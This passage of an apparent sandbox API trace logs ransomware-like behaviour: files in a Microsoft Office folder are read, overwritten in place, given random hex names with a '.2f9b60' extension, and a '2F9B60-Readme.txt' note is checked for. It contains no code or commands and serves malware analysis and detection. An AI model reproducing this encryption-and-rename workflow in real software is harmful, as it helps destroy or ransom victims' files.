(HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0146.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced69f0 [0146.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced69f0) returned 1 [0146.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4223c5b0 [0146.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x421b3dd0 [0146.414] ReadFile (in: hFile=0x1f94, lpBuffer=0x4223c5b0, nNumberOfBytesToRead=0xcd, lpNumberOfBytesRead=0x21bbf9d0, lpOverlapped=0x0 | out: lpBuffer=0x4223c5b0*, lpNumberOfBytesRead=0x21bbf9d0*=0xcd, lpOverlapped=0x0) returned 1 [0146.415] SetFilePointerEx (in: hFile=0x1f94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.415] WriteFile (in: hFile=0x1f94, lpBuffer=0x421b3dd0*, nNumberOfBytesToWrite=0xcd, lpNumberOfBytesWritten=0x21bbf9d4, lpOverlapped=0x0 | out: lpBuffer=0x421b3dd0*, lpNumberOfBytesWritten=0x21bbf9d4*=0xcd, lpOverlapped=0x0) returned 1 [0146.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7380 [0146.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8130 [0146.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0146.426] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x421b3dd0) returned 1 [0146.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4223c5b0) returned 1 [0146.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced8130 [0146.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.427] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83d0 [0146.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0146.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1ced83d0 [0146.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7500 [0146.428] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced81f0 [0146.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced81f0) returned 1 [0146.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.429] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.429] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x166f20 [0146.429] SetFilePointerEx (in: hFile=0x1f94, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.429] WriteFile (in: hFile=0x1f94, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x21bbfaf0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x21bbfaf0*=0x10c, lpOverlapped=0x0) returned 1 [0146.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0146.497] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0146.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1ced6d80 [0146.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0146.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8010 [0146.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8010) returned 1 [0146.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.498] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.498] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f5b0 [0146.498] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="bc") returned 2 [0146.498] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="72") returned 2 [0146.498] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="0b") returned 2 [0146.498] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="be") returned 2 [0146.498] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="58") returned 2 [0146.498] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="6a") returned 2 [0146.498] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="a3") returned 2 [0146.498] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="d1") returned 2 [0146.498] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="e3") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="d5") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="b7") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5c6, _Format="%c%c" | out: _Dest="1d") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="58") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="cf") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="c9") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="de") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="66") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="0d") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="a7") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="7d") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5d8, _Format="%c%c" | out: _Dest="31") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5da, _Format="%c%c" | out: _Dest="6a") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5dc, _Format="%c%c" | out: _Dest="34") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5de, _Format="%c%c" | out: _Dest="14") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5e0, _Format="%c%c" | out: _Dest="96") returned 2 [0146.499] sprintf (in: _Dest=0x1cd9f5e2, _Format="%c%c" | out: _Dest="49") returned 2 [0146.499] RtlInitAnsiString (in: DestinationString=0x21bbfb68, SourceString="bc720bbe586aa3d1e3d5b71d58cfc9de660da77d316a34149649" | out: DestinationString="bc720bbe586aa3d1e3d5b71d58cfc9de660da77d316a34149649") [0146.499] RtlAnsiStringToUnicodeString (in: DestinationString=0x21bbfb38, SourceString="bc720bbe586aa3d1e3d5b71d58cfc9de660da77d316a34149649", AllocateDestinationString=1 | out: DestinationString="bc720bbe586aa3d1e3d5b71d58cfc9de660da77d316a34149649") returned 0x0 [0146.499] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8672c0 [0146.500] RtlFreeAnsiString (AnsiString="b") [0146.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0146.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0146.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6bd0) returned 1 [0146.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0146.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83d0) returned 1 [0146.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7500) returned 1 [0146.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8130) returned 1 [0146.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7380) returned 1 [0146.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ba0) returned 1 [0146.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b70) returned 1 [0146.501] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0146.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x205092b0 [0146.501] wcscat (in: _Dest=0x205092b0, _Source="bc720bbe586aa" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\bc720bbe586aa") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\bc720bbe586aa" [0146.501] wcscat (in: _Dest=0x205092b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\bc720bbe586aa.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\bc720bbe586aa.2f9b60" [0146.501] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\bc720bbe586aa.2f9b60", NtPathName=0x21bbfb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\bc720bbe586aa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050ca80 [0146.502] NtSetInformationFile (FileHandle=0x1f94, IoStatusBlock=0x21bbfbb0, FileInformation=0x2050ca80, Length=0xa8, FileInformationClass=0xa) [0204.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ca80) returned 1 [0204.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd8c0) returned 1 [0204.382] NtQueryInformationFile (in: FileHandle=0x1f94, IoStatusBlock=0x21bbfb78, FileInformation=0x21bbfb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21bbfb78, FileInformation=0x21bbfb88) returned 0x0 [0204.382] NtSetInformationFile (FileHandle=0x1f94, IoStatusBlock=0x21bbfb78, FileInformation=0x21bbfb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.467] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205092b0) returned 1 [0209.468] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8672c0) returned 1 [0209.468] FlushFileBuffers (hFile=0x1f94) returned 1 [0209.533] CloseHandle (hObject=0x1f94) returned 1 [0216.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x1b86a7d0 [0216.597] wcscpy (in: _Dest=0x1b86a7d0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0216.597] wcscat (in: _Dest=0x1b86a7d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0216.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0216.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a7d0) returned 1 [0216.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae380) returned 1 Thread: id = 2239 os_tid = 0x10b8 [0143.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 0x20 [0145.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK", dwFileAttributes=0x20) returned 1 [0146.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f98 [0146.480] GetFileSizeEx (in: hFile=0x1f98, lpFileSize=0x1d9afb20 | out: lpFileSize=0x1d9afb20*=114) returned 1 [0146.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0146.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b40 [0146.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6bd0 [0146.481] NtQuerySystemTime (in: CurrentTime=0x1d9af9e0 | out: CurrentTime=0x1d9af9e0*=132462177517174000) returned 0x0 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x4f8a2038 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x15d56047 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x4314061 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x36606f59 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x734cb48e [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x4e557eca [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x72391939 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x616c2f4c [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x5eadbf3a [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x7b25b3c7 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x53e60a53 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x6a21ed5b [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x5b39092f [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x4ab2a65d [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x742fa45e [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x5dfae649 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x5fa04bdc [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x539bd544 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x344d62ca [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x147958a8 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x2c0e58ad [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x7d0d24ec [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x5b8c058b [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x65de1c37 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x744f404a [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x4eee36d8 [0146.481] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x3cadd4d1 [0146.482] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x3bce8eab [0146.482] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x3a9b2006 [0146.482] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x17b69f0d [0146.482] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x3cef569a [0146.482] RtlRandomEx (in: Seed=0x1d9af9d0 | out: Seed=0x1d9af9d0) returned 0x1e64149a [0146.492] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6c90 [0146.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0146.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6bd0) returned 1 [0146.493] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0146.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0146.493] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0146.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0146.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4223c5b0 [0146.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42225d50 [0146.494] ReadFile (in: hFile=0x1f98, lpBuffer=0x4223c5b0, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x1d9af9d0, lpOverlapped=0x0 | out: lpBuffer=0x4223c5b0*, lpNumberOfBytesRead=0x1d9af9d0*=0x72, lpOverlapped=0x0) returned 1 [0146.496] SetFilePointerEx (in: hFile=0x1f98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.496] WriteFile (in: hFile=0x1f98, lpBuffer=0x42225d50*, nNumberOfBytesToWrite=0x72, lpNumberOfBytesWritten=0x1d9af9d4, lpOverlapped=0x0 | out: lpBuffer=0x42225d50*, lpNumberOfBytesWritten=0x1d9af9d4*=0x72, lpOverlapped=0x0) returned 1 [0146.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8460 [0146.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0146.512] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42225d50) returned 1 [0146.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4223c5b0) returned 1 [0146.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0146.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9f5b0 [0146.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0146.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0146.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0146.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1cd9fbf0 [0146.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6e70 [0146.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0146.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0146.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x166f20 [0146.515] SetFilePointerEx (in: hFile=0x1f98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.515] WriteFile (in: hFile=0x1f98, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1d9afaf0, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x1d9afaf0*=0x110, lpOverlapped=0x0) returned 1 [0146.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0146.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867340 [0146.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8520 [0146.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1ced8520 [0146.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6d80 [0146.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7710 [0146.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7710) returned 1 [0146.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867340) returned 1 [0146.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x42059ba0 [0146.591] sprintf (in: _Dest=0x42059ba0, _Format="%c%c" | out: _Dest="b8") returned 2 [0146.591] sprintf (in: _Dest=0x42059ba2, _Format="%c%c" | out: _Dest="3e") returned 2 [0146.591] sprintf (in: _Dest=0x42059ba4, _Format="%c%c" | out: _Dest="1e") returned 2 [0146.591] sprintf (in: _Dest=0x42059ba6, _Format="%c%c" | out: _Dest="8e") returned 2 [0146.591] sprintf (in: _Dest=0x42059ba8, _Format="%c%c" | out: _Dest="54") returned 2 [0146.591] sprintf (in: _Dest=0x42059baa, _Format="%c%c" | out: _Dest="70") returned 2 [0146.591] sprintf (in: _Dest=0x42059bac, _Format="%c%c" | out: _Dest="37") returned 2 [0146.591] sprintf (in: _Dest=0x42059bae, _Format="%c%c" | out: _Dest="38") returned 2 [0146.591] sprintf (in: _Dest=0x42059bb0, _Format="%c%c" | out: _Dest="79") returned 2 [0146.591] sprintf (in: _Dest=0x42059bb2, _Format="%c%c" | out: _Dest="1b") returned 2 [0146.591] sprintf (in: _Dest=0x42059bb4, _Format="%c%c" | out: _Dest="30") returned 2 [0146.591] sprintf (in: _Dest=0x42059bb6, _Format="%c%c" | out: _Dest="39") returned 2 [0146.591] sprintf (in: _Dest=0x42059bb8, _Format="%c%c" | out: _Dest="fa") returned 2 [0146.591] sprintf (in: _Dest=0x42059bba, _Format="%c%c" | out: _Dest="0e") returned 2 [0146.591] sprintf (in: _Dest=0x42059bbc, _Format="%c%c" | out: _Dest="b4") returned 2 [0146.591] sprintf (in: _Dest=0x42059bbe, _Format="%c%c" | out: _Dest="f4") returned 2 [0146.591] sprintf (in: _Dest=0x42059bc0, _Format="%c%c" | out: _Dest="e4") returned 2 [0146.591] sprintf (in: _Dest=0x42059bc2, _Format="%c%c" | out: _Dest="db") returned 2 [0146.591] sprintf (in: _Dest=0x42059bc4, _Format="%c%c" | out: _Dest="13") returned 2 [0146.591] sprintf (in: _Dest=0x42059bc6, _Format="%c%c" | out: _Dest="e7") returned 2 [0146.591] sprintf (in: _Dest=0x42059bc8, _Format="%c%c" | out: _Dest="28") returned 2 [0146.591] sprintf (in: _Dest=0x42059bca, _Format="%c%c" | out: _Dest="8c") returned 2 [0146.591] sprintf (in: _Dest=0x42059bcc, _Format="%c%c" | out: _Dest="c9") returned 2 [0146.591] sprintf (in: _Dest=0x42059bce, _Format="%c%c" | out: _Dest="48") returned 2 [0146.591] sprintf (in: _Dest=0x42059bd0, _Format="%c%c" | out: _Dest="48") returned 2 [0146.591] sprintf (in: _Dest=0x42059bd2, _Format="%c%c" | out: _Dest="85") returned 2 [0146.592] sprintf (in: _Dest=0x42059bd4, _Format="%c%c" | out: _Dest="58") returned 2 [0146.592] sprintf (in: _Dest=0x42059bd6, _Format="%c%c" | out: _Dest="f6") returned 2 [0146.592] sprintf (in: _Dest=0x42059bd8, _Format="%c%c" | out: _Dest="3d") returned 2 [0146.592] sprintf (in: _Dest=0x42059bda, _Format="%c%c" | out: _Dest="76") returned 2 [0146.592] RtlInitAnsiString (in: DestinationString=0x1d9afb68, SourceString="b83e1e8e54703738791b3039fa0eb4f4e4db13e7288cc948488558f63d76" | out: DestinationString="b83e1e8e54703738791b3039fa0eb4f4e4db13e7288cc948488558f63d76") [0146.592] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d9afb38, SourceString="b83e1e8e54703738791b3039fa0eb4f4e4db13e7288cc948488558f63d76", AllocateDestinationString=1 | out: DestinationString="b83e1e8e54703738791b3039fa0eb4f4e4db13e7288cc948488558f63d76") returned 0x0 [0146.592] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86a860 [0146.592] RtlFreeAnsiString (AnsiString="b") [0146.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0146.592] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8520) returned 1 [0146.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6d80) returned 1 [0146.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0146.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0146.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6e70) returned 1 [0146.593] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0146.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8460) returned 1 [0146.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b40) returned 1 [0146.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6c90) returned 1 [0146.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 